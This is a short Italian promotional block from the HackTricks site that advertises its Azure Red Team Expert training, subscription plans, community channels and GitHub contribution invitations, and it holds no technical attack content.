Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

